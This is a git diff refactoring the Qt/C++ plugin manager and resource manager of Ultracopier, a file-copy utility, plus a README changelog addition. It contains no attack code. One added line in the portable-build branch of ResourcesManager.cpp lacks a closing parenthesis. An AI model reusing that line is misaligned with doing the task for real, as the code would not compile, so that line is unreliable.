+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"Unable to make the path: "+info.absolutePath());
+ QMessageBox::critical(NULL,tr("Plugin loader"),tr("Unable to create a folder to install the plugin:\n%1").arg(info.absolutePath()));
+ errorFound=true;
+ break;
+ }
+ if(currentFile.open(QIODevice::ReadWrite))
+ {
+ currentFile.write(QByteArray(dataList.at(i).data(),dataList.at(i).size()));
+ currentFile.close();
+ }
+ else
+ {
+ ResourcesManager::resourcesManager->disableWritablePath();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"Unable to make the file: "+info.absolutePath()+", error:"+currentFile.errorString());
+ QMessageBox::critical(NULL,tr("Plugin loader"),tr("Unable to create a file to install the plugin:\n%1\nsince:%2").arg(info.absolutePath()).arg(currentFile.errorString()));
+ errorFound=true;
+ break;
+ }
+ }
+ if(!errorFound)
+ {
+ if(loadPluginInformation(finalPluginPath))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"push the new plugin into the real list");
+ while(checkDependencies()!=0){};
+ emit needLangToRefreshPluginList();
+ emit manuallyAdded(tempPlugin);
+ }
+ }
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"Folder with same name is present, skip the plugin installation: "+finalPluginPath);
+ QMessageBox::critical(NULL,tr("Plugin loader"),tr("Folder with same name is present, skip the plugin installation:\n%1").arg(finalPluginPath));
+ }
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"Have not writable path, then how add you plugin?");
+ QMessageBox::critical(NULL,tr("Plugin loader"),tr("Unable to load the plugin content, please check it"));
+ }
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"category into informations.xml not found!");
+ QMessageBox::critical(NULL,tr("Plugin loader"),tr("Unable to load the plugin content, please check it"));
+ }
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Error in the xml: "+tempPlugin.errorString);
+ QMessageBox::critical(NULL,tr("Plugin loader"),tr("Unable to load the plugin content, please check it: %1").arg(tempPlugin.errorString));
+ }
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"No file found into the plugin");
+ QMessageBox::critical(NULL,tr("Plugin loader"),tr("Unable to load the plugin content, please check it"));
+ }
+ }
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"decodeThread.errorFound(), error: "+decodeThread.errorString());
+ QMessageBox::critical(NULL,tr("Plugin loader"),tr("Unable to load the plugin content, please check it: %1").arg(decodeThread.errorString()));
+ }
+ importingPlugin=false;
}
+#endif
+#ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE
void PluginsManager::newAuthPath(const QString &path)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- int index=0;
- while(index<pluginsList.size())
- {
- if(pluginsList.at(index).path==path)
- {
- pluginsList[index].isAuth=true;
- return;
- }
- index++;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"plugin not located");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ int index=0;
+ while(index<pluginsList.size())
+ {
+ if(pluginsList.at(index).path==path)
+ {
+ pluginsList[index].isAuth=true;
+ return;
+ }
+ index++;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"plugin not located");
}
+#endif
/// \brief transfor short plugin name into file name
QString PluginsManager::getResolvedPluginName(const QString &name)
{
- #if defined(Q_OS_LINUX)
- return "lib"+name+".so";
- #elif defined(Q_OS_MAC)
- #if defined(QT_DEBUG)
- return "lib"+name+"_debug.dylib";
- #else
- return "lib"+name+".dylib";
- #endif
- #elif defined(Q_OS_WIN32)
- #if defined(QT_DEBUG)
- return name+"d.dll";
- #else
- return name+".dll";
- #endif
- #else
- #error "Platform not supported"
- #endif
+ #if defined(Q_OS_LINUX)
+ return QStringLiteral("lib")+name+QStringLiteral(".so");
+ #elif defined(Q_OS_MAC)
+ #if defined(QT_DEBUG)
+ return QStringLiteral("lib")+name+QStringLiteral("_debug.dylib");
+ #else
+ return QStringLiteral("lib")+name+QStringLiteral(".dylib");
+ #endif
+ #elif defined(Q_OS_WIN32)
+ #if defined(QT_DEBUG)
+ return name+QStringLiteral("d.dll");
+ #else
+ return name+QStringLiteral(".dll");
+ #endif
+ #else
+ #error "Platform not supported"
+ #endif
}
bool operator==(PluginsAvailable pluginA,PluginsAvailable pluginB)
{
- return PluginsManager::isSamePlugin(pluginA,pluginB);
+ return PluginsManager::isSamePlugin(pluginA,pluginB);
}
diff --git a/PluginsManager.h b/PluginsManager.h
index 7c2d035..9b3ecc9 100644
--- a/PluginsManager.h
+++ b/PluginsManager.h
@@ -1,9 +1,7 @@
/** \file PluginsManager.h
\brief Define the class to manage and load the plugins
\author alpha_one_x86
-\version 0.3
-\date 2010
-\licence GPL3, see the file COPYING */
+\licence GPL3, see the file COPYING */
#ifndef PLUGINS_MANAGER_H
#define PLUGINS_MANAGER_H
@@ -21,15 +19,17 @@
#include <QCryptographicHash>
#include <QString>
#include <QSemaphore>
+#include <QRegularExpression>
+#include <QThread>
#include "Environment.h"
-#include "Singleton.h"
#include "OptionEngine.h"
#include "ResourcesManager.h"
#include "PluginInformation.h"
+#ifdef ULTRACOPIER_PLUGIN_IMPORT_SUPPORT
#include "QXzDecodeThread.h"
#include "QTarDecode.h"
-#include "AuthPlugin.h"
+#endif
namespace Ui {
class PluginOptions;
@@ -38,106 +38,115 @@ namespace Ui {
/** \brief Define the class to manage and load the resources linked with the themes
This class provide a core load and manage the resources */
-class PluginsManager : public QThread, public Singleton<PluginsManager>
+class PluginsManager : public QThread
{
- Q_OBJECT
- friend class Singleton<PluginsManager>;
- public:
- /// \brief to get plugins of type specific
- QList<PluginsAvailable> getPluginsByCategory(const PluginType &type);
- /** \brief to get plugins */
- QList<PluginsAvailable> getPlugins();
- /// \brief get translated text
- //QString getTranslatedText(PluginsAvailable plugin,QString informationName,QString mainShortName);
- //QString getTranslatedText(PluginsAvailable plugin,QString informationName);
- /// \brief transform short plugin name into file name
- static QString getResolvedPluginName(const QString &name);
- static bool isSamePlugin(const PluginsAvailable &pluginA,const PluginsAvailable &pluginB);
- void lockPluginListEdition();
- void unlockPluginListEdition();
- bool allPluginHaveBeenLoaded();
- /// \brief to load the get dom specific
- QString getDomSpecific(const QDomElement &root,const QString &name,const QList<QPair<QString,QString> > &listChildAttribute);
- QString getDomSpecific(const QDomElement &root,const QString &name);
- /// \brief set current language
- void setLanguage(const QString &language);
- /// \brief Enumeration of plugin add backend
- enum ImportBackend
- {
- ImportBackend_File, //import plugin from local file
- ImportBackend_Internet //import plugin form internet
- };
- private:
- /// \brief Create the manager and load the defaults variables
- PluginsManager();
- /// \brief Destroy the language manager
- ~PluginsManager();
- /// \brief get informations text
- //QString getInformationText(PluginsAvailable plugin,QString informationName);
- //for the options
- OptionEngine *options;
- /// \brief Store the object of resources manager
- ResourcesManager *resources;
- /// \brief List of plugins
- QList<PluginsAvailable> pluginsList;
- QMultiMap<PluginType,PluginsAvailable> pluginsListIndexed;
- /// \brief to load the multi-language balise
- void loadBalise(const QDomElement &root,const QString &name,QList<QStringList> *informations,QString *errorString,bool needHaveOneEntryMinimum=true,bool multiLanguage=false,bool englishNeedBeFound=false);
- /// \brief check the dependencies
- void checkDependencies();
- /// \brief get the version
- QString getPluginVersion(const QString &pluginName);
- /// \brief To compare version
- bool compareVersion(const QString &versionA,const QString &sign,const QString &versionB);
- /// \brief plugin information windows
- PluginInformation pluginInformationWindows;
- /// \brief list of cat plugin type
- //QStringList catPlugin;
- QStringList englishPluginType;
- QList<QTreeWidgetItem *> catItemList;
- /// \brief store the current mainShortName
- QString mainShortName;
- /// \brief load the plugin list
- void loadPluginList();
- QAction *backendMenuFile; ///< Pointer on the file backend menu
- bool importingPlugin;
- void lunchDecodeThread(const QByteArray &data);
- QXzDecodeThread decodeThread;
- void loadPluginXml(PluginsAvailable * thePlugin,const QByteArray &xml);
- AuthPlugin *checkPluginThread;
- QStringList readPluginPath;
- bool loadPluginInformation(const QString &path);
- QSemaphore editionSemList;
- bool stopIt;
- bool pluginLoaded;
- QString language;
- void excuteTheFileBackendLoader();
- QString categoryToString(const PluginType &category);
- QString categoryToTranslation(const PluginType &category);
- //temp variable
- int index,loop_size,sub_index,loop_sub_size;
- private slots:
- /// \brief show the information
- void showInformationDoubleClick();
- void decodingFinished();
- void newAuthPath(const QString &path);
- void post_operation();
+ Q_OBJECT
+ public:
+ /// \brief to get plugins of type specific
+ QList<PluginsAvailable> getPluginsByCategory(const PluginType &type) const;
+ /** \brief to get plugins */
+ QList<PluginsAvailable> getPlugins(bool withError=false) const;
+ /// \brief get translated text
+ //QString getTranslatedText(PluginsAvailable plugin,QString informationName,QString mainShortName);
+ //QString getTranslatedText(PluginsAvailable plugin,QString informationName);
+ /// \brief transform short plugin name into file name
+ static QString getResolvedPluginName(const QString &name);
+ static bool isSamePlugin(const PluginsAvailable &pluginA,const PluginsAvailable &pluginB);
+ void lockPluginListEdition();
+ void unlockPluginListEdition();
+ bool allPluginHaveBeenLoaded() const;
+ /// \brief to load the get dom specific
+ QString getDomSpecific(const QDomElement &root,const QString &name,const QList<QPair<QString,QString> > &listChildAttribute) const;
+ QString getDomSpecific(const QDomElement &root,const QString &name) const;
+ /// \brief set current language
+ void setLanguage(const QString &language);
+ /// \brief Enumeration of plugin add backend
+ enum ImportBackend
+ {
+ ImportBackend_File, //import plugin from local file
+ ImportBackend_Internet //import plugin form internet
+ };
+ static PluginsManager *pluginsManager;
+ /// \brief Create the manager and load the defaults variables
+ PluginsManager();
+ /// \brief Destroy the language manager
+ ~PluginsManager();
+ /// \brief To compare version
+ static bool compareVersion(const QString &versionA,const QString &sign,const QString &versionB);
+ private:
+ /// \brief List of plugins
+ QList<PluginsAvailable> pluginsList;
+ QMultiMap<PluginType,PluginsAvailable> pluginsListIndexed;
+ /// \brief to load the multi-language balise
+ void loadBalise(const QDomElement &root,const QString &name,QList<QStringList> *informations,QString *errorString,bool needHaveOneEntryMinimum=true,bool multiLanguage=false,bool englishNeedBeFound=false);
+ /// \brief get the version
+ QString getPluginVersion(const QString &pluginName) const;
+ /// \brief list of cat plugin type
+ //QStringList catPlugin;
+ QStringList englishPluginType;
+ QList<QTreeWidgetItem *> catItemList;
+ /// \brief store the current mainShortName
+ QString mainShortName;
+ /// \brief load the plugin list
+ void loadPluginList();
+ #ifdef ULTRACOPIER_PLUGIN_IMPORT_SUPPORT
+ QAction *backendMenuFile; ///< Pointer on the file backend menu
+ bool importingPlugin;
+ void lunchDecodeThread(const QByteArray &data);
+ QXzDecodeThread decodeThread;
+ void executeTheFileBackendLoader();
+ #endif
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ /// \brief check the dependencies, return number of error
+ quint32 checkDependencies();
+ #endif
+ void loadPluginXml(PluginsAvailable * thePlugin,const QByteArray &xml);
+ QStringList readPluginPath;
+ bool loadPluginInformation(const QString &path);
+ QSemaphore editionSemList;
+ bool stopIt;
+ bool pluginLoaded;
+ QString language;
+ QString categoryToString(const PluginType &category) const;
+ QString categoryToTranslation(const PluginType &category);
+ QRegularExpression regexp_to_clean_1,regexp_to_clean_2,regexp_to_clean_3,regexp_to_clean_4,regexp_to_clean_5;
+ QRegularExpression regexp_to_dep_1,regexp_to_dep_2,regexp_to_dep_3,regexp_to_dep_4,regexp_to_dep_5,regexp_to_dep_6;
+ PluginInformation *pluginInformation;
+ private slots:
+ /// \brief show the information
+ void showInformationDoubleClick();
+ #ifdef ULTRACOPIER_PLUGIN_IMPORT_SUPPORT
+ void decodingFinished();
+ #endif
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ void newAuthPath(const QString &path);
+ #endif
+ void post_operation();
/* public slots:
- /// \brief to refresh the plugin list
- void refreshPluginList(QString mainShortName="en");*/
- signals:
- void pluginListingIsfinish();
- void onePluginAdded(const PluginsAvailable&);
- void onePluginWillBeRemoved(const PluginsAvailable&); // when will be really removed
- void onePluginWillBeUnloaded(const PluginsAvailable&);//just unload to quit the application
- void needLangToRefreshPluginList();
- void newLanguageLoaded();
- protected:
- void run();
- public slots: //do gui action
- void showInformation(const QString &path);
- void removeThePluginSelected(const QString &path);
- void addPlugin(const ImportBackend &backend);
+ /// \brief to refresh the plugin list
+ void refreshPluginList(QString mainShortName="en");*/
+ signals:
+ void pluginListingIsfinish() const;
+ void onePluginAdded(const PluginsAvailable&) const;
+ void onePluginInErrorAdded(const PluginsAvailable&) const;
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ void onePluginWillBeRemoved(const PluginsAvailable&) const; // when will be really removed
+ void onePluginWillBeUnloaded(const PluginsAvailable&) const;//just unload to quit the application
+ #endif
+ void needLangToRefreshPluginList() const;
+ void newLanguageLoaded() const;
+ #ifdef ULTRACOPIER_PLUGIN_IMPORT_SUPPORT
+ void manuallyAdded(const PluginsAvailable&) const;
+ #endif
+ protected:
+ void run();
+ public slots: //do gui action
+ void showInformation(const QString &path);
+ #ifdef ULTRACOPIER_PLUGIN_IMPORT_SUPPORT
+ void removeThePluginSelected(const QString &path);
+ void addPlugin(const ImportBackend &backend);
+ void tryLoadPlugin(const QString &file);
+ #endif
};
/// \brief to do structure comparaison
diff --git a/README b/README
index a07fc8a..1cbe24e 100644
--- a/README
+++ b/README
@@ -13,6 +13,12 @@ Main features include:
- error/collision management
=======================================================
+Changelog =============================================
+=======================================================
+You can have the changelog at this url (or search on the forum):
+http://forum-ultracopier.first-world.info/the-announces/changelog-for-ultracopier-1-0-x-x-supercopier-4-0-x-x-t406.html
+
+=======================================================
License ===============================================
=======================================================
Ultracopier is licensed under the GNU General Public License version 3.
@@ -32,6 +38,7 @@ Building and documentation ============================
See the wiki for the general documentation and how to for building: http://ultracopier-wiki.first-world.info/
For the code documentation: http://doc-ultracopier.first-world.info/ (generated by doxygen)
The source proposed on the site is reconstritued source from: https://github.com/alphaonex86/Ultracopier to facilitate contribute effort.
+Prefer ultracopier-all-in-one-direct.pro to have easy and NO modular software. This is more oriented to Linux and Mac.
======================================================
Warranty =============================================
diff --git a/ResourcesManager.cpp b/ResourcesManager.cpp
index 3971531..96fb894 100644
--- a/ResourcesManager.cpp
+++ b/ResourcesManager.cpp
@@ -1,211 +1,217 @@
/** \file ResourcesManager.cpp
\brief Define the class to manage and load the resources linked with the themes
\author alpha_one_x86
-\version 0.3
-\date 2010
-\licence GPL3, see the file COPYING */
+\licence GPL3, see the file COPYING */
#include <QDir>
#include <QFile>
#include <QApplication>
-#include <QFSFileEngine>
#include <QFileInfo>
#include "ResourcesManager.h"
+QRegularExpression ResourcesManager::slashEnd;
+
/// \brief Create the manager and load the defaults variables
ResourcesManager::ResourcesManager()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- //load the internal path
- searchPath<<QString(":/");
- //load the user path but only if exists and writable
- //load the ultracopier path
- #ifdef ULTRACOPIER_VERSION_PORTABLE
- #ifdef ULTRACOPIER_VERSION_PORTABLEAPPS
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"Ultracopier is compiled with the flag: ULTRACOPIER_VERSION_PORTABLEAPPS");
- //load the data folder path
- QDir dir(QApplication::applicationDirPath());
- dir.cdUp();
- dir.cdUp();
- dir.cd("Data");
- searchPath<<ResourcesManager::AddSlashIfNeeded(dir.absolutePath());
- writablePath=ResourcesManager::AddSlashIfNeeded(dir.absolutePath());
- #else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"Ultracopier is compiled with the flag: ULTRACOPIER_VERSION_PORTABLE");
- //load the ultracopier path
- QDir dir(QApplication::applicationDirPath());
- dir.cd("Data");
- searchPath<<ResourcesManager::AddSlashIfNeeded(dir.absolutePath());
- writablePath=ResourcesManager::AddSlashIfNeeded(dir.absolutePath());
- #endif
- #else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"Ultracopier is compiled as user privacy mode");
- #ifdef Q_OS_WIN32
- #define EXTRA_HOME_PATH "\\ultracopier\\"
- #else
- #define EXTRA_HOME_PATH "/.config/Ultracopier/"
- #endif
- #ifdef Q_OS_LINUX
- if(QDir("/usr/share/ultracopier/").exists())
- searchPath<<"/usr/share/ultracopier/";
- if(QDir("/usr/lib/ultracopier/").exists())
- searchPath<<"/usr/lib/ultracopier/";
- #endif
- //load the user path but only if exists and writable
- QDir dir(QFSFileEngine::homePath()+EXTRA_HOME_PATH);
- if(dir.exists())
- {
- writablePath=ResourcesManager::AddSlashIfNeeded(dir.absolutePath());
- searchPath<<ResourcesManager::AddSlashIfNeeded(dir.absolutePath());
- } //if not exists try to create it
- else if(dir.mkpath(dir.absolutePath()))
- {
- //if created, then have write permissions
- writablePath=ResourcesManager::AddSlashIfNeeded(dir.absolutePath());
- searchPath<<ResourcesManager::AddSlashIfNeeded(dir.absolutePath());
- }
- //load the ultracopier path
- searchPath<<ResourcesManager::AddSlashIfNeeded(QApplication::applicationDirPath());
- #endif
- searchPath.removeDuplicates();
- #ifdef ULTRACOPIER_DEBUG
- index=0;
- loop_size=searchPath.size();
- while(index<loop_size) //look at each val
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"searchPath.at("+QString::number(index)+"): "+searchPath.at(index));
- index++;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"writablePath: "+writablePath);
- #endif // ULTRACOPIER_DEBUG
+ slashEnd=QRegularExpression(QStringLiteral("[/\\\\]$"));
+
+ //load the internal path
+ searchPath<<QString(QStringLiteral(":/"));
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ //load the user path but only if exists and writable
+ //load the ultracopier path
+ #ifdef ULTRACOPIER_VERSION_PORTABLE
+ #ifdef ULTRACOPIER_VERSION_PORTABLEAPPS
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"Ultracopier is compiled with the flag: ULTRACOPIER_VERSION_PORTABLEAPPS");
+ //load the data folder path
+ QDir dir(QApplication::applicationDirPath());
+ dir.cdUp();
+ dir.cdUp();
+ dir.cd(QStringLiteral("Data");
+ searchPath<<ResourcesManager::AddSlashIfNeeded(dir.absolutePath());
+ writablePath=ResourcesManager::AddSlashIfNeeded(dir.absolutePath());
+ #else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"Ultracopier is compiled with the flag: ULTRACOPIER_VERSION_PORTABLE");
+ //load the ultracopier path
+ QDir dir(QApplication::applicationDirPath());
+ dir.cd(QStringLiteral("Data"));
+ searchPath<<ResourcesManager::AddSlashIfNeeded(dir.absolutePath());
+ writablePath=ResourcesManager::AddSlashIfNeeded(dir.absolutePath());
+ #endif
+ #else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"Ultracopier is compiled as user privacy mode");
+ #ifdef Q_OS_WIN32
+ #define EXTRA_HOME_PATH QStringLiteral("\\ultracopier\\")
+ #else
+ #define EXTRA_HOME_PATH QStringLiteral("/.config/Ultracopier/")
+ #endif
+ #ifdef Q_OS_LINUX
+ QDir linuxArchIndepDir(QStringLiteral("/usr/share/ultracopier/"));
+ if(linuxArchIndepDir.exists())
+ searchPath<<ResourcesManager::AddSlashIfNeeded(linuxArchIndepDir.absolutePath());
+ QDir linuxPluginsDir(QStringLiteral("/usr/lib/ultracopier/"));
+ if(linuxPluginsDir.exists())
+ searchPath<<ResourcesManager::AddSlashIfNeeded(linuxPluginsDir.absolutePath());
+ #endif
+ //load the user path but only if exists and writable
+ QDir dir(QDir::homePath()+EXTRA_HOME_PATH);
+ if(dir.exists())
+ {
+ writablePath=ResourcesManager::AddSlashIfNeeded(dir.absolutePath());
+ searchPath<<ResourcesManager::AddSlashIfNeeded(dir.absolutePath());
+ } //if not exists try to create it
+ else if(dir.mkpath(dir.absolutePath()))
+ {
+ //if created, then have write permissions
+ writablePath=ResourcesManager::AddSlashIfNeeded(dir.absolutePath());
+ searchPath<<ResourcesManager::AddSlashIfNeeded(dir.absolutePath());
+ }
+ //load the ultracopier path
+ searchPath<<ResourcesManager::AddSlashIfNeeded(QApplication::applicationDirPath());
+ #endif
+ #else
+ QDir dir(QApplication::applicationDirPath());
+ writablePath=ResourcesManager::AddSlashIfNeeded(dir.absolutePath());
+ #endif
+ searchPath.removeDuplicates();
+ #ifdef ULTRACOPIER_DEBUG
+ int index=0;
+ const int &loop_size=searchPath.size();
+ while(index<loop_size) //look at each val
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("searchPath.at(")+QString::number(index)+QStringLiteral("): ")+searchPath.at(index));
+ index++;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("writablePath: ")+writablePath);
+ #endif // ULTRACOPIER_DEBUG
}
/// \brief Destroy the resource manager
ResourcesManager::~ResourcesManager()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
}
/// \brief Get folder presence and the path
-QString ResourcesManager::getFolderReadPath(const QString &path)
+QString ResourcesManager::getFolderReadPath(const QString &path) const
{
- index=0;
- loop_size=searchPath.size();
- while(index<loop_size) //look at each val
- {
- QDir dir(searchPath.at(index)+path);
- if(dir.exists()) // if the path have been found, then return the full path
- return ResourcesManager::AddSlashIfNeeded(dir.absolutePath());
- index++;
- }
- return "";
+ int index=0;
+ const int &loop_size=searchPath.size();
+ while(index<loop_size) //look at each val
+ {
+ QDir dir(searchPath.at(index)+path);
+ if(dir.exists()) // if the path have been found, then return the full path
+ return ResourcesManager::AddSlashIfNeeded(dir.absolutePath());
+ index++;
+ }
+ return QStringLiteral("");
}
/// \brief Get folder presence, the path and check in the folder and sub-folder the file presence
-QString ResourcesManager::getFolderReadPathMultiple(const QString &path,const QStringList &fileToCheck)
+QString ResourcesManager::getFolderReadPathMultiple(const QString &path,const QStringList &fileToCheck) const
{
- index=0;
- loop_size=searchPath.size();
- while(index<loop_size) //look at each val
- {
- QDir dir(searchPath.at(index)+path);
- if(checkFolderContent(dir.absolutePath(),fileToCheck))
- return dir.absolutePath()+QDir::separator();
- index++;
- }
- return "";
+ int index=0;
+ const int &loop_size=searchPath.size();
+ while(index<loop_size) //look at each val
+ {
+ QDir dir(searchPath.at(index)+path);
+ if(checkFolderContent(dir.absolutePath(),fileToCheck))
+ return dir.absolutePath()+QDir::separator();
+ index++;
+ }
+ return QStringLiteral("");
}
-bool ResourcesManager::checkFolderContent(const QString &path,const QStringList &fileToCheck)
+bool ResourcesManager::checkFolderContent(const QString &path,const QStringList &fileToCheck) const
{
- QDir dir(path);
- if(dir.exists()) // if the path have been found, then return the full path
- {
- bool allFileToCheckIsFound=true;
- index=0;
- loop_size=fileToCheck.size();
- QString partialPath=ResourcesManager::AddSlashIfNeeded(dir.absolutePath());
- while(index<loop_size) //look at each val
- {
- if(!QFile::exists(partialPath+fileToCheck.at(index))) //if a file have been not found, consider the folder as not suitable
- {
- allFileToCheckIsFound=false;
- break;
- }
- index++;
- }
- if(allFileToCheckIsFound==true) // if all file into have been found then return this path
- return true;
- }
- return false;
+ QDir dir(path);
+ if(dir.exists()) // if the path have been found, then return the full path
+ {
+ bool allFileToCheckIsFound=true;
+ int index=0;
+ const int &loop_size=fileToCheck.size();
+ QString partialPath=ResourcesManager::AddSlashIfNeeded(dir.absolutePath());
+ while(index<loop_size) //look at each val
+ {
+ if(!QFile::exists(partialPath+fileToCheck.at(index))) //if a file have been not found, consider the folder as not suitable
+ {
+ allFileToCheckIsFound=false;
+ break;
+ }
+ index++;
+ }
+ if(allFileToCheckIsFound==true) // if all file into have been found then return this path
+ return true;
+ }
+ return false;
}
/// \brief add / or \ in function of the platform at the end of path if both / and \ are not found
QString ResourcesManager::AddSlashIfNeeded(const QString &path)
{
- if(path.contains(QRegExp("[/\\\\]$")))
- return path;
- else
- return path+QDir::separator();
+ if(path.contains(slashEnd))
+ return path;
+ else
+ return path+QDir::separator();
}
/// \brief get the writable path
-QString ResourcesManager::getWritablePath()
+QString ResourcesManager::getWritablePath() const
{
- return writablePath;
+ return writablePath;
}
/// \brief disable the writable path, if ultracopier is unable to write into
bool ResourcesManager::disableWritablePath()
{
- bool returnVal=true;
- if(writablePath=="")
- returnVal=false;
- else
- writablePath="";
- return returnVal;
+ bool returnVal=true;
+ if(writablePath.isEmpty())
+ returnVal=false;
+ else
+ writablePath=QStringLiteral("");
+ return returnVal;
}
/// \brief get the read path
-QStringList ResourcesManager::getReadPath()
+QStringList ResourcesManager::getReadPath() const
{
- return searchPath;
+ return searchPath;
}
/// \brief remove folder
bool ResourcesManager::removeFolder(const QString &dir)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"folder to remove: "+dir);
- bool errorFound=false;
- QDir currentDir(dir);
- QFileInfoList files = currentDir.entryInfoList(QDir::AllEntries | QDir::NoDotAndDotDot);
- int index=0;
- int loop_size=files.size();
- while(index<loop_size)
- {
- if(files.at(index).isFile())
- {
- QFile file(files.at(index).absoluteFilePath());
- if(!file.remove())
- {
- errorFound=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"remove file failed: "+file.errorString());
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"file removed: "+file.fileName());
- }
- else if(files.at(index).isDir())
- removeFolder(files.at(index).absoluteFilePath());
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"unknow file type for: "+files.at(index).absoluteFilePath());
- index++;
- }
- if(!currentDir.rmpath(dir))
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"remove path failed, check right and if is empty: "+dir);
- errorFound=true;
- }
- return !errorFound;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"folder to remove: "+dir);
+ bool errorFound=false;
+ QDir currentDir(dir);
+ QFileInfoList files = currentDir.entryInfoList(QDir::AllEntries | QDir::NoDotAndDotDot);
+ int index=0;
+ const int &loop_size=files.size();
+ while(index<loop_size)
+ {
+ if(files.at(index).isFile())
+ {
+ QFile file(files.at(index).absoluteFilePath());
+ if(!file.remove())
+ {
+ errorFound=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"remove file failed: "+file.errorString());
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"file removed: "+file.fileName());
+ }
+ else if(files.at(index).isDir())
+ removeFolder(files.at(index).absoluteFilePath());
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"unknow file type for: "+files.at(index).absoluteFilePath());
+ index++;
+ }
+ if(!currentDir.rmpath(dir))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"remove path failed, check right and if is empty: "+dir);
+ errorFound=true;
+ }
+ return !errorFound;
}
diff --git a/ResourcesManager.h b/ResourcesManager.h
index 01444f9..7704d47 100644
--- a/ResourcesManager.h
+++ b/ResourcesManager.h
@@ -1,9 +1,7 @@
/** \file ResourcesManager.h
\brief Define the class to manage and load the resources linked with the themes
\author alpha_one_x86
-\version 0.3
-\date 2010
-\licence GPL3, see the file COPYING */
+\licence GPL3, see the file COPYING */
#ifndef RESOURCES_MANAGER_H
#define RESOURCES_MANAGER_H
@@ -11,47 +9,46 @@
#include <QStringList>
#include <QString>
#include <QObject>
+#include <QRegularExpression>
#include "Environment.h"
-#include "Singleton.h"
/** \brief Define the class to manage and load the resources linked with the themes
This class provide a core load and manage the resources */
-class ResourcesManager : public QObject, public Singleton<ResourcesManager>
+class ResourcesManager : public QObject
{
- Q_OBJECT
- friend class Singleton<ResourcesManager>;
- private:
- /// \brief Create the manager and load the default variable
- ResourcesManager();
- /// \brief Destroy the resource manager
- ~ResourcesManager();
- public:
- /** \brief Get folder presence and the path
- \return Empty QString if not found */
- QString getFolderReadPath(const QString &path);
- /** \brief Get folder presence, the path and check in the folder and sub-folder the file presence
- \return Empty QString if not found */
- QString getFolderReadPathMultiple(const QString &path,const QStringList &fileToCheck);
- bool checkFolderContent(const QString &path,const QStringList &fileToCheck);
- /// \brief add / or \ in function of the platform at the end of path if both / and \ are not found
- static QString AddSlashIfNeeded(const QString &path);
- /// \brief get the writable path
- QString getWritablePath();
- /// \brief disable the writable path, if ultracopier is unable to write into
- bool disableWritablePath();
- /// \brief get the read path
- QStringList getReadPath();
- /// \brief remove folder
- static bool removeFolder(const QString &dir);
- private:
- /// \brief List of the path to read only access
- QStringList searchPath;
- /// \brief The writable path, empty if not found
- QString writablePath;
- //temp variable
- int index,loop_size;
+ Q_OBJECT
+ public:
+ /// \brief Create the manager and load the default variable
+ ResourcesManager();
+ /// \brief Destroy the resource manager
+ ~ResourcesManager();
+ static ResourcesManager *resourcesManager;
+ /** \brief Get folder presence and the path
+ \return Empty QString if not found */
+ QString getFolderReadPath(const QString &path) const;
+ /** \brief Get folder presence, the path and check in the folder and sub-folder the file presence
+ \return Empty QString if not found */
+ QString getFolderReadPathMultiple(const QString &path,const QStringList &fileToCheck) const;
+ bool checkFolderContent(const QString &path,const QStringList &fileToCheck) const;
+ /// \brief add / or \ in function of the platform at the end of path if both / and \ are not found
+ static QString AddSlashIfNeeded(const QString &path);
+ /// \brief get the writable path
+ QString getWritablePath() const;
+ /// \brief disable the writable path, if ultracopier is unable to write into
+ bool disableWritablePath();
